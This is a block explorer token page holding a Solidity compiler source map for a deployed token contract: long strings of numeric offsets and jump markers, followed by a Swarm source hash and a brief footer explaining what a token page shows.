2089:5236:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7046:86;7116:8;;;;;;;;;;;;-1:-1:-1;;;7116:8:0;;;;7046:86;;;;;;;:::i;:::-;;;;;;;;6055:246;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;6055:246:0;1004:187:1;6933:105:0;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;6933:105:0;1196:177:1;4436:734:0;;;;;;:::i;:::-;;:::i;6309:616::-;;;;;;:::i;:::-;;:::i;1557:106::-;1612:7;1639:16;-1:-1:-1;;;;;1639:16:0;1557:106;;;-1:-1:-1;;;;;4791:32:1;;;4773:51;;4761:2;4746:18;1557:106:0;4627:203:1;7235:87:0;2532:2;7235:87;;;5007:4:1;4995:17;;;4977:36;;4965:2;4950:18;7235:87:0;4835:184:1;2960:111:0;3049:14;;-1:-1:-1;;;;;3049:14:0;2960:111;;2446:41;;;;;;;;;;;;;;;-1:-1:-1;;;2446:41:0;;;;;5178:119;;;;;;:::i;:::-;-1:-1:-1;;;;;5271:18:0;5244:7;5271:18;;;:9;:18;;;;;;;5178:119;1832:250;;;:::i;:::-;;3079:112;;;;;;:::i;:::-;;:::i;2494:40::-;;2532:2;2494:40;;5305:566;;;;;;:::i;:::-;;:::i;3431:229::-;;;;;;:::i;:::-;;:::i;2541:74::-;;;:::i;3289:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3384:31:0;3357:7;3384:31;;;:22;:31;;;;;;;3289:134;3668:596;;;;;;:::i;:::-;;:::i;5879:168::-;;;;;;:::i;:::-;-1:-1:-1;;;;;6000:30:0;;;5973:7;6000:30;;;:18;:30;;;;;;;;:39;;;;;;;;;;;;;5879:168;4272:156;;;;;;:::i;:::-;;:::i;6055:246::-;1184:10;6135:4;6152:42;;;:18;:42;;;;;;;;-1:-1:-1;;;;;6152:51:0;;;;;;;;;;;:57;;;6225:46;;1342:25:1;;;6135:4:0;;6152:51;;1184:10;;6225:46;;1315:18:1;6225:46:0;;;;;;;-1:-1:-1;6289:4:0;6055:246;;;;;:::o;6933:105::-;6988:7;2595:19;2532:2;2595;:19;:::i;:::-;2583:32;;:8;:32;:::i;:::-;7008:22;;6933:105;:::o;4436:734::-;4663:4;;4680:461;4704:10;:17;4700:1;:21;4680:461;;;4770:10;4781:1;4770:13;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;4748:53:0;4757:11;-1:-1:-1;;;;;4748:53:0;-1:-1:-1;;;;;;;;;;;4785:12:0;4798:1;4785:15;;;;;;;;:::i;:::-;;;;;;;4748:53;;;;1342:25:1;;1330:2;1315:18;;1196:177;4748:53:0;;;;;;;;5012:10;5023:1;5012:13;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;4821:219:0;4844:42;-1:-1:-1;;;;;4821:219:0;;4905:12;4918:1;4905:15;;;;;;;;:::i;:::-;;;;;;;4939:1;4959;4979:11;4991:1;4979:14;;;;;;;;:::i;:::-;;;;;;;;;;;;4821:219;;;8662:25:1;;;8703:18;;;8696:34;;;;8746:18;;8739:34;8804:2;8789:18;;8782:34;8649:3;8634:19;4821:219:0;;;;;;;5062:12;-1:-1:-1;;;;;5055:30:0;;5086:10;5097:1;5086:13;;;;;;;;:::i;:::-;;;;;;;5101:11;5114;5126:1;5114:14;;;;;;;;:::i;:::-;;;;;;;;;;;5055:74;;-1:-1:-1;;;;;;5055:74:0;;;;;;;-1:-1:-1;;;;;9085:15:1;;;5055:74:0;;;9067:34:1;9137:15;;;;9117:18;;;9110:43;9169:18;;;9162:34;9002:18;;5055:74:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;4723:3:0;;;;:::i;:::-;;;;4680:461;;;-1:-1:-1;5158:4:0;;4436:734;-1:-1:-1;;;;;;4436:734:0:o;6309:616::-;-1:-1:-1;;;;;6428:24:0;;6403:4;6428:24;;;:18;:24;;;;;;;;1184:10;6428:48;;;;;;;;:55;-1:-1:-1;6428:55:0;6420:93;;;;-1:-1:-1;;;6420:93:0;;9831:2:1;6420:93:0;;;9813:21:1;9870:2;9850:18;;;9843:30;9909:27;9889:18;;;9882:55;9954:18;;6420:93:0;;;;;;;;;-1:-1:-1;;;;;3384:31:0;;6526:28;3384:31;;;:22;:31;;;;;;6598:24;;6594:129;;6654:20;6647:3;:27;6639:72;;;;-1:-1:-1;;;6639:72:0;;10185:2:1;6639:72:0;;;10167:21:1;;;10204:18;;;10197:30;10263:34;10243:18;;;10236:62;10315:18;;6639:72:0;9983:356:1;6639:72:0;-1:-1:-1;;;;;6735:15:0;;;;;;:9;:15;;;;;:22;;6754:3;;6735:15;:22;;6754:3;;6735:22;:::i;:::-;;;;-1:-1:-1;;;;;;;6768:13:0;;;;;;:9;:13;;;;;:20;;6785:3;;6768:13;:20;;6785:3;;6768:20;:::i;:::-;;;;-1:-1:-1;;;;;;;6799:24:0;;;;;;:18;:24;;;;;;;;1184:10;6799:48;;;;;;;:55;;6851:3;;6799:24;:55;;6851:3;;6799:55;:::i;:::-;;;;;;;;6887:2;-1:-1:-1;;;;;6872:23:0;6881:4;-1:-1:-1;;;;;6872:23:0;-1:-1:-1;;;;;;;;;;;6891:3:0;6872:23;;;;1342:25:1;;1330:2;1315:18;;1196:177;6872:23:0;;;;;;;;-1:-1:-1;6913:4:0;;6309:616;-1:-1:-1;;;;6309:616:0:o;1832:250::-;1612:7;1639:16;-1:-1:-1;;;;;1639:16:0;1184:10;1714:42;1706:98;;;;-1:-1:-1;;;1706:98:0;;;;;;;:::i;:::-;1923:16:::1;::::0;;1905:88:::1;::::0;1949:42:::1;::::0;-1:-1:-1;;;;;1923:16:0;;::::1;::::0;1905:88:::1;::::0;::::1;2004:16;:70:::0;;-1:-1:-1;;;;;;2004:70:0::1;2031:42;2004:70;::::0;;1832:250::o;3079:112::-;1612:7;1639:16;-1:-1:-1;;;;;1639:16:0;1184:10;1714:42;1706:98;;;;-1:-1:-1;;;1706:98:0;;;;;;;:::i;:::-;3156:14:::1;:27:::0;;-1:-1:-1;;;;;;3156:27:0::1;-1:-1:-1::0;;;;;3156:27:0;;;::::1;::::0;;;::::1;::::0;;3079:112::o;5305:566::-;1184:10;5381:4;5406:33;;;:9;:33;;;;;;:40;-1:-1:-1;5406:40:0;5398:73;;;;-1:-1:-1;;;5398:73:0;;11221:2:1;5398:73:0;;;11203:21:1;11260:2;11240:18;;;11233:30;-1:-1:-1;;;11279:18:1;;;11272:50;11339:18;;5398:73:0;11019:344:1;5398:73:0;5484:28;5515:44;1184:10;5536:22;1078:125;5515:44;5484:75;-1:-1:-1;5574:24:0;;5570:129;;5630:20;5623:3;:27;5615:72;;;;-1:-1:-1;;;5615:72:0;;10185:2:1;5615:72:0;;;10167:21:1;;;10204:18;;;10197:30;10263:34;10243:18;;;10236:62;10315:18;;5615:72:0;9983:356:1;5615:72:0;1184:10;5711:33;;;;:9;:33;;;;;:40;;5748:3;;5711:33;:40;;5748:3;;5711:40;:::i;:::-;;;;-1:-1:-1;;;;;;;5762:13:0;;;;;;:9;:13;;;;;:20;;5779:3;;5762:13;:20;;5779:3;;5762:20;:::i;:::-;;;;-1:-1:-1;;5800:41:0;;1342:25:1;;;-1:-1:-1;;;;;5800:41:0;;;1184:10;;-1:-1:-1;;;;;;;;;;;5800:41:0;1330:2:1;1315:18;5800:41:0;;;;;;;;-1:-1:-1;5859:4:0;;5305:566;-1:-1:-1;;;5305:566:0:o;3431:229::-;3049:14;;-1:-1:-1;;;;;3049:14:0;1184:10;2840:49;2832:100;;;;-1:-1:-1;;;2832:100:0;;;;;;;:::i;:::-;3547:6:::1;3542:111;3559:19:::0;;::::1;3542:111;;;3638:3;3600:22;:35;3623:8;;3632:1;3623:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;3600:35:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;3600:35:0;:41;3580:3;::::1;::::0;::::1;:::i;:::-;;;;3542:111;;;;3431:229:::0;;;:::o;2541:74::-;2595:19;2532:2;2595;:19;:::i;:::-;2583:32;;:8;:32;:::i;:::-;2541:74;:::o;3668:596::-;3049:14;;-1:-1:-1;;;;;3049:14:0;1184:10;2840:49;2832:100;;;;-1:-1:-1;;;2832:100:0;;;;;;;:::i;:::-;3865:9:::1;3860:397;3884:13;:20;3880:1;:24;3860:397;;;3926:19;3948:13;3962:1;3948:16;;;;;;;;:::i;:::-;;;;;;;3926:38;;4010:1;-1:-1:-1::0;;;;;3987:25:0::1;:11;-1:-1:-1::0;;;;;3987:25:0::1;::::0;3979:63:::1;;;::::0;-1:-1:-1;;;3979:63:0;;12333:2:1;3979:63:0::1;::::0;::::1;12315:21:1::0;12372:2;12352:18;;;12345:30;12411:27;12391:18;;;12384:55;12456:18;;3979:63:0::1;12131:349:1::0;3979:63:0::1;-1:-1:-1::0;;;;;4083:22:0;::::1;4059:21;4083:22:::0;;;:9:::1;:22;::::0;;;;;;;;;;4120:40;;;;4182:63;;12659:25:1;;;12700:18;;;12693:34;;;4083:22:0;;4182:63:::1;::::0;12632:18:1;4182:63:0::1;;;;;;;3911:346;;3906:3;;;;;:::i;:::-;;;;3860:397;;;;3668:596:::0;;:::o;4272:156::-;4348:4;4386:3;-1:-1:-1;;;;;4370:28:0;4379:5;-1:-1:-1;;;;;4370:28:0;-1:-1:-1;;;;;;;;;;;4391:6:0;4370:28;;;;1342:25:1;;1330:2;1315:18;;1196:177;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:127::-;1439:10;1434:3;1430:20;1427:1;1420:31;1470:4;1467:1;1460:15;1494:4;1491:1;1484:15;1510:275;1581:2;1575:9;1646:2;1627:13;;-1:-1:-1;;1623:27:1;1611:40;;1681:18;1666:34;;1702:22;;;1663:62;1660:88;;;1728:18;;:::i;:::-;1764:2;1757:22;1510:275;;-1:-1:-1;1510:275:1:o;1790:183::-;1850:4;1883:18;1875:6;1872:30;1869:56;;;1905:18;;:::i;:::-;-1:-1:-1;1950:1:1;1946:14;1962:4;1942:25;;1790:183::o;1978:668::-;2032:5;2085:3;2078:4;2070:6;2066:17;2062:27;2052:55;;2103:1;2100;2093:12;2052:55;2139:6;2126:20;2165:4;2189:60;2205:43;2245:2;2205:43;:::i;:::-;2189:60;:::i;:::-;2283:15;;;2369:1;2365:10;;;;2353:23;;2349:32;;;2314:12;;;;2393:15;;;2390:35;;;2421:1;2418;2411:12;2390:35;2457:2;2449:6;2445:15;2469:148;2485:6;2480:3;2477:15;2469:148;;;2551:23;2570:3;2551:23;:::i;:::-;2539:36;;2595:12;;;;2502;;2469:148;;;-1:-1:-1;2635:5:1;1978:668;-1:-1:-1;;;;;;1978:668:1:o;2651:662::-;2705:5;2758:3;2751:4;2743:6;2739:17;2735:27;2725:55;;2776:1;2773;2766:12;2725:55;2812:6;2799:20;2838:4;2862:60;2878:43;2918:2;2878:43;:::i;2862:60::-;2956:15;;;3042:1;3038:10;;;;3026:23;;3022:32;;;2987:12;;;;3066:15;;;3063:35;;;3094:1;3091;3084:12;3063:35;3130:2;3122:6;3118:15;3142:142;3158:6;3153:3;3150:15;3142:142;;;3224:17;;3212:30;;3262:12;;;;3175;;3142:142;;3318:971;3488:6;3496;3504;3512;3520;3573:3;3561:9;3552:7;3548:23;3544:33;3541:53;;;3590:1;3587;3580:12;3541:53;3613:29;3632:9;3613:29;:::i;:::-;3603:39;;3693:2;3682:9;3678:18;3665:32;3716:18;3757:2;3749:6;3746:14;3743:34;;;3773:1;3770;3763:12;3743:34;3796:61;3849:7;3840:6;3829:9;3825:22;3796:61;:::i;:::-;3786:71;;3910:2;3899:9;3895:18;3882:32;3866:48;;3939:2;3929:8;3926:16;3923:36;;;3955:1;3952;3945:12;3923:36;3978:63;4033:7;4022:8;4011:9;4007:24;3978:63;:::i;:::-;3968:73;;4094:2;4083:9;4079:18;4066:32;4050:48;;4123:2;4113:8;4110:16;4107:36;;;4139:1;4136;4129:12;4107:36;;4162:63;4217:7;4206:8;4195:9;4191:24;4162:63;:::i;:::-;4152:73;;;4244:39;4278:3;4267:9;4263:19;4244:39;:::i;:::-;4234:49;;3318:971;;;;;;;;:::o;4294:328::-;4371:6;4379;4387;4440:2;4428:9;4419:7;4415:23;4411:32;4408:52;;;4456:1;4453;4446:12;4408:52;4479:29;4498:9;4479:29;:::i;:::-;4469:39;;4527:38;4561:2;4550:9;4546:18;4527:38;:::i;:::-;4517:48;;4612:2;4601:9;4597:18;4584:32;4574:42;;4294:328;;;;;:::o;5024:186::-;5083:6;5136:2;5124:9;5115:7;5111:23;5107:32;5104:52;;;5152:1;5149;5142:12;5104:52;5175:29;5194:9;5175:29;:::i;:::-;5165:39;5024:186;-1:-1:-1;;;5024:186:1:o;5215:689::-;5310:6;5318;5326;5379:2;5367:9;5358:7;5354:23;5350:32;5347:52;;;5395:1;5392;5385:12;5347:52;5435:9;5422:23;5464:18;5505:2;5497:6;5494:14;5491:34;;;5521:1;5518;5511:12;5491:34;5559:6;5548:9;5544:22;5534:32;;5604:7;5597:4;5593:2;5589:13;5585:27;5575:55;;5626:1;5623;5616:12;5575:55;5666:2;5653:16;5692:2;5684:6;5681:14;5678:34;;;5708:1;5705;5698:12;5678:34;5763:7;5756:4;5746:6;5743:1;5739:14;5735:2;5731:23;5727:34;5724:47;5721:67;;;5784:1;5781;5774:12;5721:67;5815:4;5807:13;;;;5839:6;;-1:-1:-1;5877:20:1;;;;5864:34;;5215:689;-1:-1:-1;;;;5215:689:1:o;5909:416::-;6002:6;6010;6063:2;6051:9;6042:7;6038:23;6034:32;6031:52;;;6079:1;6076;6069:12;6031:52;6119:9;6106:23;6152:18;6144:6;6141:30;6138:50;;;6184:1;6181;6174:12;6138:50;6207:61;6260:7;6251:6;6240:9;6236:22;6207:61;:::i;:::-;6197:71;6315:2;6300:18;;;;6287:32;;-1:-1:-1;;;;5909:416:1:o;6330:260::-;6398:6;6406;6459:2;6447:9;6438:7;6434:23;6430:32;6427:52;;;6475:1;6472;6465:12;6427:52;6498:29;6517:9;6498:29;:::i;:::-;6488:39;;6546:38;6580:2;6569:9;6565:18;6546:38;:::i;:::-;6536:48;;6330:260;;;;;:::o;6595:127::-;6656:10;6651:3;6647:20;6644:1;6637:31;6687:4;6684:1;6677:15;6711:4;6708:1;6701:15;6727:422;6816:1;6859:5;6816:1;6873:270;6894:7;6884:8;6881:21;6873:270;;;6953:4;6949:1;6945:6;6941:17;6935:4;6932:27;6929:53;;;6962:18;;:::i;:::-;7012:7;7002:8;6998:22;6995:55;;;7032:16;;;;6995:55;7111:22;;;;7071:15;;;;6873:270;;;6877:3;6727:422;;;;;:::o;7154:806::-;7203:5;7233:8;7223:80;;-1:-1:-1;7274:1:1;7288:5;;7223:80;7322:4;7312:76;;-1:-1:-1;7359:1:1;7373:5;;7312:76;7404:4;7422:1;7417:59;;;;7490:1;7485:130;;;;7397:218;;7417:59;7447:1;7438:10;;7461:5;;;7485:130;7522:3;7512:8;7509:17;7506:43;;;7529:18;;:::i;:::-;-1:-1:-1;;7585:1:1;7571:16;;7600:5;;7397:218;;7699:2;7689:8;7686:16;7680:3;7674:4;7671:13;7667:36;7661:2;7651:8;7648:16;7643:2;7637:4;7634:12;7630:35;7627:77;7624:159;;;-1:-1:-1;7736:19:1;;;7768:5;;7624:159;7815:34;7840:8;7834:4;7815:34;:::i;:::-;7885:6;7881:1;7877:6;7873:19;7864:7;7861:32;7858:58;;;7896:18;;:::i;:::-;7934:20;;7154:806;-1:-1:-1;;;7154:806:1:o;7965:140::-;8023:5;8052:47;8093:4;8083:8;8079:19;8073:4;8052:47;:::i;8110:168::-;8183:9;;;8214;;8231:15;;;8225:22;;8211:37;8201:71;;8252:18;;:::i;8283:127::-;8344:10;8339:3;8335:20;8332:1;8325:31;8375:4;8372:1;8365:15;8399:4;8396:1;8389:15;9207:277;9274:6;9327:2;9315:9;9306:7;9302:23;9298:32;9295:52;;;9343:1;9340;9333:12;9295:52;9375:9;9369:16;9428:5;9421:13;9414:21;9407:5;9404:32;9394:60;;9450:1;9447;9440:12;9489:135;9528:3;9549:17;;;9546:43;;9569:18;;:::i;:::-;-1:-1:-1;9616:1:1;9605:13;;9489:135::o;10344:128::-;10411:9;;;10432:11;;;10429:37;;;10446:18;;:::i;10477:125::-;10542:9;;;10563:10;;;10560:36;;;10576:18;;:::i;10607:407::-;10809:2;10791:21;;;10848:2;10828:18;;;10821:30;10887:34;10882:2;10867:18;;10860:62;-1:-1:-1;;;10953:2:1;10938:18;;10931:41;11004:3;10989:19;;10607:407::o;11368:402::-;11570:2;11552:21;;;11609:2;11589:18;;;11582:30;11648:34;11643:2;11628:18;;11621:62;-1:-1:-1;;;11714:2:1;11699:18;;11692:36;11760:3;11745:19;;11368:402::o

Swarm Source

ipfs://9af55418fc9b50a3d18440f56f900db8071984c87e6346ecf6c413590542869e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.